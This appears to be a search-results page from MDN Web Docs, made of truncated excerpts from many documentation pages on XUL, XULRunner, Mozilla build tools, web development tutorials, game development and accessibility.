...ment.getanonymousnodes(this)[0].setattribute("style","visibility: collapse"); } </body> </method> </implementation> </binding> the oncommand handlers here first get a reference to their parent bound element.
Creating a Window - Archive of obsolete content
<!-- other elements go here --> replace this comment block with other elements (the buttons, menus and other user interface components) to appear in the window.
... you can use the command-line parameter '-chrome' to specify the xul file to open when mozilla starts.
...(usually the browser window.) for example, we could open the find files dialog with either of the following: mozilla -chrome chrome://findfile/content/findfile.xul mozilla -chrome resource:/chrome/findfile/content/findfile.xul if you run this command from a command-line (assuming you have one on your platform), the find files dialog will open by default instead of the mozilla browser window.
... to see the effect though, the following will open the bookmarks window: mozilla -chrome chrome://communicator/content/bookmarks/bookmarksmanager.xul if you are using firefox, try below.
Localization - Archive of obsolete content
> <script src="findfile.js"/> <popupset> <menupopup id="editpopup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;"/> <menuitem label="&copycmd.label;" accesskey="&copycmd.accesskey;"/> <menuitem label="&pastecmd.label;" accesskey="&pastecmd.accesskey;" disabled="true"/> </menupopup> </popupset> <keyset> <key id="cut_cmd" modifiers="accel" key="&cutcmd.commandkey;"/> <key id="copy_cmd" modifiers="accel" key="&copycmd.commandkey;"/> <key id="paste_cmd" modifiers="accel" key="&pastecmd.commandkey;"/> <key id="close_cmd" keycode="vk_escape" oncommand="window.close();"/> </keyset> <vbox flex="1"> <toolbox> <menubar id="findfiles-menubar"> <menu id="file-menu" label="&filemenu.label;" accesskey="&filemenu.accesskey;"> <me...
...nupopup id="file-popup"> <menuitem label="&opencmd.label;" accesskey="&opencmd.accesskey;"/> <menuitem label="&savecmd.label;" accesskey="&savecmd.accesskey;"/> <menuseparator/> <menuitem label="&closecmd.label;" accesskey="&closecmd.accesskey;" key="close_cmd" oncommand="window.close();"/> </menupopup> </menu> <menu id="edit-menu" label="&editmenu.label;" accesskey="&editmenu.accesskey;"> <menupopup id="edit-popup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;" key="cut_cmd"/> <menuitem label="&copycmd.label;" accesskey="&copycmd.accesskey;" key="copy_cmd"/> <menuitem label="&pastecmd.label;" ...
...local"/> <treecell label="&bytes.before;2520&bytes.after;"/> </treerow> </treeitem> </treechildren> </tree> <splitter id="splitbar" resizeafter="grow" style="display: none;"/> <spacer class="titlespace"/> <hbox> <progressmeter id="progmeter" value="50%" style="display: none;"/> <spacer flex="1"/> <button id="find-button" label="&button.find;" oncommand="dofind()"/> <button id="cancel-button" label="&button.cancel;" oncommand="window.close();"/> </hbox> </vbox> </window> each text string has been replaced by an entity reference.
...bel "open search..."> <!entity savecmd.label "save search..."> <!entity closecmd.label "close"> <!entity opencmd.accesskey "o"> <!entity savecmd.accesskey "s"> <!entity closecmd.accesskey "c"> <!entity cutcmd.label "cut"> <!entity copycmd.label "copy"> <!entity pastecmd.label "paste"> <!entity cutcmd.accesskey "t"> <!entity copycmd.accesskey "c"> <!entity pastecmd.accesskey "p"> <!entity cutcmd.commandkey "x"> <!entity copycmd.commandkey "c"> <!entity pastecmd.commandkey "v"> <!entity opencmdtoolbar.label "open"> <!entity savecmdtoolbar.label "save"> <!entity searchtab "search"> <!entity optionstab "options"> <!entity finddescription "enter your search criteria below and select the find button to begin the search."> <!entity findcriteria "search criteria"> <!entity type.name "name"> <!entity...
RDF Datasources - Archive of obsolete content
example 3 : source view <window id="example-window" title="history list" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="click here to see the mammals the zoo has" type="menu" datasources="animals.rdf" ref="http://www.some-fictitious-zoo.com/mammals"> <template> <rule animals:specimens="0"></rule> <rule> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.some-fictitious-zoo.com/rdf#name"/> </menupopup> </rule> </template> </button> </window> in this case only the mammals are desired, so we s...
...elect the uri of the mammals list.
... you will notice that the value of the ref attribute in the example is http://www.some-fictitious-zoo.com/mammals which corresponds to one of the seq elements in the rdf file.
...the end effect is that we get a popup menu containing all the mammals which have a specimen that is not 0.
Using Remote XUL - Archive of obsolete content
it contains elements for all common ui widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers).
...bel="the mozilla organization"> <menupopup> <menuitem label="at a glance" value="https://www.mozilla.org/mozorg.html" /> <menuitem label="feedback" value="https://www.mozilla.org/feedback.html" /> <menuitem label="get involved" value="https://www.mozilla.org/get-involved.html" /> <menuitem label="newsgroups" value="https://www.mozilla.org/community.html" /> <menuitem label="license terms" value="https://www.mozilla.org/mpl/" /> <menuitem label="newsbot" value="https://www.mozilla.org/newsbot/" /> </menupopup> </menu> <menu label="developer docs"> <menupopup> <menuitem label="roadmap" value="https://www.mozilla.org/roadmap.html" /> <menuitem label="projects" va...
...we add an id attribute to the iframe element so we can reference it from our function, and we add an oncommand event listener to the menubar element that calls the function every time the user clicks a button or selects a menu item.
... the oncommand event listener is a generic listener that fires whenever the user manipulates an element in some conclusive way.
editor - Archive of obsolete content
attributes editortype, src, type properties accessibletype, commandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <script language="javascript"> function initeditor(){ // this function is called to set up the editor va...
...r editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execcommand method: var editor = document.getelementbyid("myeditor"); // toggle bold for the current selection editor.contentdocument.execcommand("bold", false, null); see the midas overview for more command strings.
... commandmanager type: nsicommandmanager the command manager handles operations on the editor.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listitem - Archive of obsolete content
attributes accesskey, checked, command, crop, current, disabled, image, label, preference, selected, tabindex, type, value properties accesskey, accessible, checked, control, crop, current, disabled, image, label, selected, tabindex, value style classes listitem-iconic examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem la...
... command type: id set to the id of a command element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
notificationbox - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... removeallnotifications( immediate ) return type: no return value remove all notifications.
... if immediate is true, the messages are removed immediately.
... if immediate is false, the notifications are removed using a slide transition.
radio - Archive of obsolete content
ArchiveMozillaXULradio
attributes accesskey, command, crop, disabled, focused, group, image, label, selected, tabindex, value properties accesskey, accessibletype, control, crop, disabled, image, label, radiogroup, selected, tabindex, value examples <radiogroup> <radio id="orange" label="red" accesskey="r"/> <radio id="violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="...
... command type: id set to the id of a command element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
window - Archive of obsolete content
disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!!
...mation"/> <radiogroup> <vbox> <hbox> <label control="your-fname" value="enter first name:"/> <textbox id="your-fname" value="johan"/> </hbox> <hbox> <label control="your-lname" value="enter last name:"/> <textbox id="your-lname" value="hernandez"/> </hbox> <hbox> <button oncommand="alert('save!')"> <description>save</description> </button> </hbox> </vbox> </radiogroup> </groupbox> </vbox> </window> attributes accelerated type: booleanset this attribute to true to allow hardware layer managers to accelerate the window.
...the specified string should contain four numbers, separated by commas, indicating the margin in pixels for the top, right, bottom, and left edges of the window, respectively.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
Getting started with XULRunner - Archive of obsolete content
main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="main" title="my app" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myapp/content/main.js"/> <caption label="hello world"/> <separator/> <button label="more >>" oncommand="showmore();"/> <separator/> <description id="more-text" hidden="true">this is a simple xulrunner application.
... windows from a windows command prompt opened to the myapp folder, we should be able to execute this: c:\path\to\xulrunner.exe application.ini of course, if you opted to install xulrunner then you could simply do ​%programfiles%\xulrunner.exe application.ini or on 64 bit systems ​%programfiles(x86)%\xulrunner.exe application.ini note: you can also install your application when you're finished debugging it.
... mac on the mac, before you can run a xulrunner application with everything intact, you must install it using the --install-app xulrunner commandline flag.
... alternative: run xul apps with firefox with firefox 3 and later, you can tell the firefox executable to run a xul application from the command line.
XUL Application Packaging - Archive of obsolete content
they can be installed to xulrunner with a command line flag "--install-app" if xulrunner is registered on the system.
... see command line options for more details.
...lines beginning with ; or # are treated as comments.
...the email format is recommended for newly developed applications.
application/http-index-format specification - Archive of obsolete content
number codes 100 a human readable comment line.
...this data is not intended for display to the end user and is only meant as a comment to make the file format clear to a human interpreter.
... example 100: this is a comment!
...3 text/html file tue,%2025%20oct%201994%2008:12:31%20gmt 201: foobar 0 application/http-index-format directory tue,%2025%20oct%201994%2008:12:31%20gmt original document information author(s): christian biesinger last updated date: may 10, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozprofile - Archive of obsolete content
mozprofile can be utilized from the command line or as an api.
... command line usage mozprofile may be used to create profiles, set preferences in profiles, or install addons into profiles.
...if a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp/tmp4q1ieu.mozrunner user.js to run mozprofile from the command line enter: mozprofile --help for a list of options.
...ofile = firefoxprofile(addons=["adblock.xpi"]) setting preferences preferences can be set in several ways: using the api: you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini via the command line: mozprofile --pref key:value --pref key:value [...] when setting preferences from an .ini file or the --pref switch, the value will be interpolated as an integer or a boolean (true/false) if possible.
Mozrunner - Archive of obsolete content
mozrunner may be used from the command line or programmatically as an api.
... command line usage the mozrunner command will launch the application (specified by --app) from a binary specified with -b or as located on the path.
... mozrunner takes the command line options from mozprofile for constructing the profile to be used by the application.
... run mozrunner --help for detailed information on the command line program.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 11 - november 17, 2006 announcements none this week.
... discussions testing accesskey conflicts discussion about the complexity of access keys and how to detect conflicts there in the l10n community.
...if bugs are filed, "[reflow branch]" should be placed at the beginning of the summary.
...the possibility of turning the microsummaryresource object into a xpcom component, which accomplishes this task in a "hacky" manner, was also discussed.
NPN_GetURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary asks the browser to create a stream for the specified url.
...not recommended; if target refers to the window or frame containing the instance, the instance is destroyed and the plug-in may be unloaded.
... _parent: load the link into the immediate <frameset> parent of the plug-in instance's document.
...the following recommendations about target choice apply to other methods that handle urls as well.
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
for example, you could use it to include the entire contents of a blog post; or just a summary of it.
... however, it has become common practice to putxml escaped html data in it.
...although it has become common practice to use the rss <description> element and put non-plain text data in it.
...but this is how it has become common practice to use it.
Tamarin Tracing Build Documentation - Archive of obsolete content
use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-tracing tamarin-tracing building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone executable, avmshell, for executing files in the abc file format.
...note that additional command-line arguments are only available in the debug configuration.
...nor does any other brand of make.) with the right prerequisites, use these commands to build tamarin tracing: $ hg clone http://hg.mozilla.org/tamarin-tracing $ cd tamarin-tracing $ mkdir objdir-debug $ cd objdir-debug $ python ../configure.py --enable-shell $ make ...
...any comments, questions or problems can be directed to brent baker how to setup a user repository with the source and patches that will be compiled.
References - Archive of obsolete content
<- previous section: summary of changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
...the webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-free javascript code.
...we highly recommend this site.
... <- previous section: summary of changes ...
Using Web Standards in your Web Pages - Archive of obsolete content
the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -web standards project this article provides an overview of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards.
...how to upgrade a webpage markup code to pass validation and how to implement css are addressed by providing recommendations, tutorials and references.
... the next-to-last section, summary of changes, outlines all the changes described in this article.
... contents benefits of using web standards making your page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest summary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: portions of this content are © 1998–2008 by individual mozilla.org contributors; content available under a creative commons license | details.
The global XML object - Archive of obsolete content
the following example defines the foocount() method, which returns the amount of <foo> elements in the xml: xml.prototype.function::foocount = function foocount() { return this..foo.length(); }; <foobar><foo/><foo/><foo/></foobar>.foocount() // returns 3 ignorecomments true by default.
... this property tells e4x to ignore comment nodes when serializing and filtering.
... this means that if ignorecomments is true, the list returned by .comments() will be empty.
... observe: var element = <foo> <!-- my comment --> <bar/> </foo>; element.comments().length(); // returns 0 element.toxmlstring(); // returns <foo><bar/></foo> xml.ignorecomments = false; element = <foo> <!-- my comment --> <bar/> </foo>; element.comments().length(); // returns 1 element.toxmlstring(); // returns <foo><!-- my comment --><bar/></foo> ignoreprocessinginstructions true by default.
XForms - Archive of obsolete content
this extension, while supporting a significant subset of the xforms 1.0 and 1.1 candidate recommendations, is not actively maintained any more since about 2010.
... troubleshooting tips for xforms a small collection of tips for troubleshooting common problems with xforms forms.
... community view mozilla forums...
... mailing list newsgroup rss feed #xforms channel on irc.mozilla.org w3c forms mailing list other community links...
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers.
...windows command uuidgen should be sufficient.
... ns_imethod getflags(pruint32 *aflags) {*aflags = nsiclassinfo::plugin_object | nsiclassinfo::dom_object; return ns_ok;} ns_imethod getimplementationlanguage(pruint32 *aimplementationlanguage) {*aimplementationlanguage = nsiprogramminglanguage::cplusplus; return ns_ok;} // the rest of the methods can safely return error codes...
...ranganathan last updated date: october 26, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Examples - Game development
browserquest a mmorpg created by the little workshop and mozilla.
... classic platformer canvas 2d game based on `visual-ts game engine` - physics based on matter.js commercial games oort online a mmo exploration, building, and battle game (currently in development.) a wizard's lizard top down zelda-esque exploration/rpg.
... rpg mo isometric mmorpg with similarities to runescape classic and ultima.
... animation physics 3d rendering of terrain and cars, using ammo.js for the physics calculations.
3D games on the Web - Game development
the most popular javascript 3d library is three.js, a multi-purpose tool that makes common 3d techniques simpler to implement.
... there are other popular game development libraries and frameworks worth checking too; a-frame, playcanvas and babylon.js are among the most recognizable ones with rich documentation, online editors and active communities.
...as with any other 3d library, it provides built-in functions to help you implement common 3d functionality more quickly.
...you can build immersive, beautiful and fast 3d games on the web using webgl, and the libraries and frameworks build on top of it.
Efficient animation for web games - Game development
it is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used ui libraries, for example) that they aren’t necessarily common knowledge.
... help the browser help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations.
...we would recommend keeping track of when requestanimationframe has been called and only having a single handler for it.
...to begin with, the priority was to write the code quickly to iterate on gameplay (and we’d certainly recommend doing this).
Visual-js game engine - Game development
2) you are free to use any version of visual js library in any other project (even commercial projects) as long as the copyright header is left intact except for plugins on sale and graphics that come with them (they have special commercial licence).
...http://creativecommons.org/licenses/by-nc-sa/3.0/ download from : https://www.adobe.com/devnet/archive/html5/articles/javascript-motion-detection.html webrtc - webcam communication is under : creator muaz khan www.muazkhan.com mit license - www.webrtc-experiment.com/licence socket.io.js - http://socket.io/download/ ( also implemented intro build.js ) webgl2 based on : copyright (c) 2014 ta...
...ppali ekanathan keestu (keestu@gmail.com) gnu general public license obj loader : https://github.com/frenchtoast747/webgl-obj-loader textures download from http://textures.com more texture downloads http://www.textures4photoshop.com/ female body v3.blend this file has been released by andrescuccaro under the following license: creative commons attribution 3.0 about gui for windows (canvas2d part only) : windows gui application version 1.0 (using visual-js 0.9 lib) important : you will need net 4.5.2 minimum also redistribution pack for c++ how to start project ?
...server part of application (important : www is not secure place) 4) select folder for client part of application ( any path in www) 5) new app name will appear in project list , select and click open application 6) open your server folder : install node.js modules one way - use windows bat-s file (in server root folder with prefix install_ ) second way - open cmd terminal and enter next command : npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 very easy installation and project files generator .
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
an iife (immediately invoked function expression) is a javascript function that runs as soon as it is defined.
... the second part creates the immediately invoked function expression () through which the javascript engine will directly interpret the function.
... examples the function becomes a function expression which is immediately executed.
... var result = (function () { var name = "barry"; return name; })(); // immediately creates the output: result; // "barry" ...
Accessible multimedia - Learn web development
in terms of actually creating the transcript, your options are: commercial services — you could pay a professional to do the transcription, see for example companies like scribie, casting words, or rev.
... community/grass roots/self transcription — if you are part of an active community or team in your workplace, then you could ask them for help with doing the translations.
...if for example you are dealing with an immersive 3d game or virtual reality app, it really is quite difficult to provide text alternatives for such an experience, and you might argue that blind users are not really in the target audience bracket for such apps.
... summary this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions.
Test your skills: Other controls - Learn web development
associate it semantically with the provided "comment" label.
... give the input 35 columns, and 10 rows of space in which to add comments.
... give the comments a maximum length of 100 characters.
... associate it semantically with the provided "comment" label.
Your first form - Learn web development
forms allow users to enter data, which is generally sent to a web server for processing and storage (see sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature).
... form controls can also be programmed to enforce specific formats or values to be entered (form validation), and paired with text labels that describe their purpose to both sighted and blind users.
... a click on a reset button resets all the form widgets to their default value immediately.
... summary congratulations, you've built your first web form.
Choosing the right approach - Learn web development
previous overview: asynchronous to finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with recommendations and reminders of common pitfalls where appropriate.
... objective: to be able to make a sound choice of when to use different asynchronous programming techniques.
... further information graceful asynchronous programming with promises using promises promise reference promise.all() a javascript feature that allows you to wait for multiple promises to complete before then running a further operation based on the results of all the other promises.
... further information making asynchronous programming easier with async and await async function reference await operator reference previous overview: asynchronous in this module general asynchronous programming concepts introducing asynchronous javascript cooperative asynchronous javascript: timeouts and intervals graceful asynchronous programming with promises making asynchronous programming easier with async and await choosi...
Asynchronous JavaScript - Learn web development
if you are not familiar with the concept of asynchronous programming, you should definitely start with the general asynchronous programming concepts article in this module.
... guides general asynchronous programming concepts in this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript.
... making asynchronous programming easier with async and await promises can be somewhat complex to set up and understand, and so modern browsers have implemented async functions and the await operator.
... choosing the right approach to finish this module off, we'll consider the different coding techniques and features we've discussed throughout, looking at which ones you should use when, with recommendations and reminders of common pitfalls where appropriate.
Fetching data from the server - Learn web development
previous overview: client-side web apis next another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page.
... effectively, the function passed into then() is a chunk of code that won't run immediately.
...we won't discuss all of it in the article, but you can find extensive comments in the code (see can-script.js).
... summary this article shows how to start working with both xhr and fetch to fetch data from the server.
Object building practice - Learn web development
the context is like the paper, and now we want to command our pen to draw something on it: first, we use beginpath() to state that we want to draw a shape on the paper.
... immediately inside the for loop, we use an if statement to check whether the current ball being looped through is the same ball as the one we are currently checking.
... we then use a common algorithm to check the collision of two circles.
... summary we hope you had fun writing your own real world random bouncing balls example, using various object and object-oriented techniques from throughout the module!
Routing in Ember - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...to do this you’ll need to enter the following commands into your terminal, inside the root directory of your app: ember generate route index ember generate route completed ember generate route active the second and third commands should have not only generated new files, but also updated an existing file, app/router.js.
... it contains the following contents: import emberrouter from '@ember/routing/router'; import config from './config/environment'; export default class router extends emberrouter { location = config.locationtype; rooturl = config.rooturl; } router.map(function() { this.route('completed'); this.route('active'); }); the highlighted lines were added when the 2nd and 3rd commands above were run.
... summary congratulations!
React resources - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... it adds a new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make immediate changes to your application.
...they're still the only way to handle certain other, more edge-case features, and they’re very common in legacy react projects.
... the react community has produced two major libraries for client-side routing: react router and reach router.
Styling Vue components with CSS - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...vue has three common approaches to styling apps: external css files.
... update it as follows: <ul aria-labelledby="list-summary" class="stack-large"> adding scoped styles the last component we want to style is our todoitem component.
... summary our work is done on the styling of our sample app.
Implementing feature detection - Learn web development
let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object.
...generally, such tests are done via one of the following common patterns: summary of javascript feature detection techniques feature detection type explanation example if member in object check whether a certain method or property (typically an entry point into using the api or other feature you are detecting for) exists in its parent object.
... summary this article covered feature detection in a reasonable amount of detail, going through the main concepts and showing you how to both implement your own feature detection tests and use the modernizr library to implement tests more easily.
... previous overview: cross browser testing next in this module introduction to cross browser testing strategies for carrying out testing handling common html and css problems handling common javascript problems handling common accessibility problems implementing feature detection introduction to automated testing setting up your own test automation environment ...
Accessible Toolkit Checklist
please contact the mozilla accessibility community with questions or feedback.
...since the individual widgets predominately come from the operating system, they already implement standard keyboard commands and follow the operating system's visual theme.
...it is maintained by the mozilla accessibility community.
... supporting the basic msaa states on every item: unavailable, focused, readonly, offscreen, focusable to avoid extra work, utilize implementing an msaa server mnemonics ability to define in xml for any widget with a text label (via attribute or a preceding char in label) automatically define mnemonics for all standard common dialogs (like yes/no confirmations and retry/exit error dialogs) support mnemonics in dialogs created via method calls layout engine - drawing underline under correct letter events - making keystrokes do the right thing msaa support, via iaccessible's get_acckeyboardshortcut support for ms windows settings when high contrast checkbox is set (in acces...
Accessibility and Mozilla
in fact, the same keyboard commands are still available, so users can become comfortable and productive right away.accessibility information for core gecko developersboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
...however, many of the concepts were also used during the development of firevox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility community with questions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web.
... gecko info for windows accessibility vendorsplease contact the mozilla accessibility community.information for assistive technology vendorsboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
...please check the accessibility help topic for more information.links and resourceshere are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility community.
Theme concepts
you can, however, programmatically include a theme in an extension using the theme api.
... you can also animate themes programmatically, which we discuss in dynamic themes.
... create a dynamic theme that changes under programmatic control.
... and, obviously, you can combine the two and bundle a programmatically controlled theme with your extension.
Add-ons
among other things, an add-on could: change the appearance or content of particular websites modify the firefox user interface add new features to firefox there are several types of add-ons, but the most common type are extensions.
...you’ll find: overview of the firefox extension features tools and processes for developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your published extension an enterprise guide for developing and using extensions how to develop themes for firefox firefox developer communities extensions for firefox for android in 2020, mozilla will release a new firefox for android experience.
... publishing add-ons addons.mozilla.org, commonly known as "amo," is mozilla's official site for developers to list add-ons, and for users to discover them.
... by uploading your add-on to amo, you can participate in our community of users and creators and find an audience for your add-on.
Android-specific test suites
android-findbugs ensures that the code avoids common java coding errors.
... android-lint ensures that the code avoids common android coding errors.
... android-findbugs ensures that the code avoids common java coding errors.
... android-lint ensure that the code avoids common android coding errors.
Debugging JavaScript
you can also start the browser console when you launch firefox, by launching firefox from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is no longer enabled in firefox by default.
...(the pref also warns on common javascript idioms that are not errors).
... under microsoft windows you additionally need to start firefox via the following command to have a native console : firefox.exe -console using normal javascript object inspection, you can write a function that dumps a whole object, similar to this ddumpobject().
...with gdb setting up an extension development environment (particularly development preferences and development extensions) original document information author(s): ben bucksch created date: september 12, 2005, last updated date: november 10, 2009 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Makefile - variables
extra_components nsdefaultclh.manifest, javascript xpcomm files extra_dso_libs extra_dso_ldopts extra_js_modules extra_pp_components xpcomm files to pre-process before installation.
... global_deps a list of common dependencies (makefile.in, autoconf.mk) that will force rebuilding.
... xpidl_name name of extension to build see also configure.sh variables description build_project_arg command line/environment override configure_env_args command line/environment override directory variable dirs a list of subdirectories to build recursively.
... host_ variable description host_cmsrcs a list of .m sources to compile host_cmmsrcs a list of .mm sources to compile host_objs host_os_arch arch of real platform a target platform is being built on(building mobile binaries on gnu/linux).
Experimental features in Firefox
nightly 44 no developer edition 44 no beta 44 no release 44 no preference name gfx.offscreencanvas.enabled hit regions whether the mouse coordinates are within a particular area on the canvas is a common problem to solve.
... nightly 73 no developer edition 73 no beta 73 no release 73 no preference name dom.webgpu.enabled html dom api global event: beforeinput the global beforeinput event is sent to an <input> element—or any element whose contenteditable attribute is enabled—immediately before the element's value changes.
...however, because firefox doesn't currently suport multiple audio and video tracks, the most common use cases for these properties don't work, so they're both disabled by default.
... nightly 72 no developer edition 72 no beta 72 no release 72 no preference name devtools.inspector.color-scheme-simulation.enabled execution context selector this feature displays a button on the console's command line that lets you change the context in which the expression you enter will be executed.
mozbrowsercaretstatechanged
commands an object that defines what commands can currently be executed in the browser <iframe>.
... its properties are canselectall: a boolean indicating whether the selectall command is available (true) or not (false.) cancut: a boolean indicating whether the cut command is available (true) or not (false.) cancopy: a boolean indicating whether the copy command is available (true) or not (false.) canpaste: a boolean indicating whether the paste command is available (true) or not (false.) reason a domstring that defines the reason for the state being changed.
... senddocommandmsg a method allowing you to issue a command via an anonymouse function, i.e.
... function(command).
Overview of Mozilla embedding APIs
contract-id: ns_webbrowser_contractid implemented interfaces: nsiwebbrowser nsiwebnavigation nsiwebbrowsersetup nsiwebbrowserpersist nsiwebbrowserfind nsiwebbrowserprint nsiwebbrowserfocus nsibasewindow requestor interfaces: nsidomwindow nsidomdocument nsiwebprogress nsiclipboardcommands nsiprompt related interfaces: nsiprompt nsiwebbrowserchrome nsiwebbrowsersitewindow nsiwebprogresslistener nsicontextmenulistener nsiprintoptions overview: most of gecko's functionality is exposed through the nswebbrowser component.
...clipboard the webbrowser exposes access to the system clipboard via the nsiclipboardcommands interface.
...interface definition: nsiclipboardcommands interface status...
...interface definition: defining new xpcom components original document information author(s): rpotts, alecf, oeschger at netscape.com last updated date: march 5, 2003 copyright information: creative commons ...
Embedding Tips
